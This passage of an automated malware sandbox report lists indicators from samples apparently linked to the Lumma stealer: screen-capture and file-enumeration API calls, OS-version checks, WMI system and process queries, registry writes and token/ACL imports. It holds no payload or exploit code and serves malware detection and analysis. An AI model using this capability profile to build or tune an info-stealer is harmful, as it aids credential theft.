"ncalrpc"; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp") Found string "B+ncalrpc:[OLEF47B4D4A" (Indicator: "ncalrpc"; Source: "00000000-00002592.00000002.73964.03110000.00000004.mdmp") Found string "+ncalrpc:[OLEEFECD091C95F689A92A8280350F9]" (Indicator: "ncalrpc"; Source: "00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp") Found string "ncalrpc:[OLEF47B4D" (Indicator: "ncalrpc"; Source: "00000000-00006228.00000001.72079.028F0000.00000004.mdmp")4e:T1b3c,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "lumma1234.exe.757667611") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp, 00000000-00002444.00000001.71184.033F0000.00000004.mdmp, 00000000-00002444.00000002.73104.033F0000.00000004.mdmp, 00000000-00002592.00000000.70126.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00005588.00000000.69376.03670000.00000004.mdmp, 00000000-00006228.00000000.70159.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp, 00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005588.00000000.69376.00E32000.00000002.mdmp, 00000000-00006952.00000000.69869.00382000.00000002.mdmp")4f:Tb96,Found reference to API "83258536542,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83252731174,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83280420460,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.437",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83249170802,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "82922281142,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.281",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "82847536054,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.250",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83247112070,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83257406362,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "82923697748,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.281",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83259660284,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83260826630,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "83253923366,5492,3112,,FindFirstFileW,kernel32.dll,"00:18:45.421",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000001.72047.07694000.00000004.mdmp") Found reference to API "85306755706,5604,3112,,FindFirstFileW,kernel32.dll,"00:18:46.296",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "85198710662,5604,3114,,FindNextFileW,kernel32.dll,"00:18:46.250",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "85298652284,5604,3112,,FindFirstFileW,kernel32.dll,"00:18:46.296",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp")50:T8a4,Found reference to API "148656593846,4188,3024,,RtlGetVersion,NTDLL.dll,"00:19:12.687",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "96073878606,160,3024,,RtlGetVersion,NTDLL.dll,"00:18:50.781",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "112343349670,4184,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:57.562",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "119808973124,4188,3024,,RtlGetVersion,NTDLL.dll,"00:19:00.671",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "148656480986,4188,3025,,RtlGetNtProductType,NTDLL.dll,"00:19:12.687",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "109560290066,4188,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:56.406",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "96302168334,4188,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:50.875",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "118271438378,4184,3024,,RtlGetVersion,NTDLL.dll,"00:19:00.031",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "92328635202,4188,3024,,RtlGetVersion,NTDLL.dll,"00:18:49.218",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "138797326456,4188,3025,,RtlGetNtProductType,NTDLL.dll,"00:19:08.578",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API ",3024,,RtlGetVersion,NTDLL.d" (Indicator: "RtlGetVersion"; Source: "00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp")51:T578,Found string "ZIndicates if the text in the edit control should appear as the default password character." (Indicator: "password"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp")52:T51d,Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 1233213123213.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: alex.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 1234pixxxx_1_.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: cred64.dll] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: fu.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: mrk1234_1_.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 55555.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: crpta.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: daissss.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: clip64.dll]53:T48f,Found string "SELECT * FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found string "CIM_PCVideoController" (Indicator: "CIM_PCVideoController"; Source: "00000000-00002592.00000002.73964.07705000.00000004.mdmp") Found string "SELECT * FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp") Found string "SELECT * FROM Win32_DiskDrive" (Indicator: " Win32_DiskDrive"; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found string "ECT * FROM Win32_DiskDrive" (Indicator: " Win32_DiskDrive"; Source: "00000000-00006228.00000002.73999.04C20000.00000004.mdmp")54:T4b9,"rundll32.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\RUNDLL32.EXE"; Value: "061B891E2A58DA0100000000000000000000000002000000") "rundll32.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "BB8DED4D2C58DA0100000000000000000000000002000000") "fu.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "72DBC5FC3258DA0100000000000000000000000002000000"), "fu.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "4F10C29B3358DA0100000000000000000000000002000000"), "55555.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS")55:Ta93,Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: cred64.dll] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: cred64.dll] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: cred64.dll] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: fu.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: fu.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: fu.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: fu.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: fu.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: fu.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: fu.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: fu.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: fu.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: fu.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: fu.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: fu.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: fu.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: fu.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: fu.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: fu.exe]56:T4001,"initAft()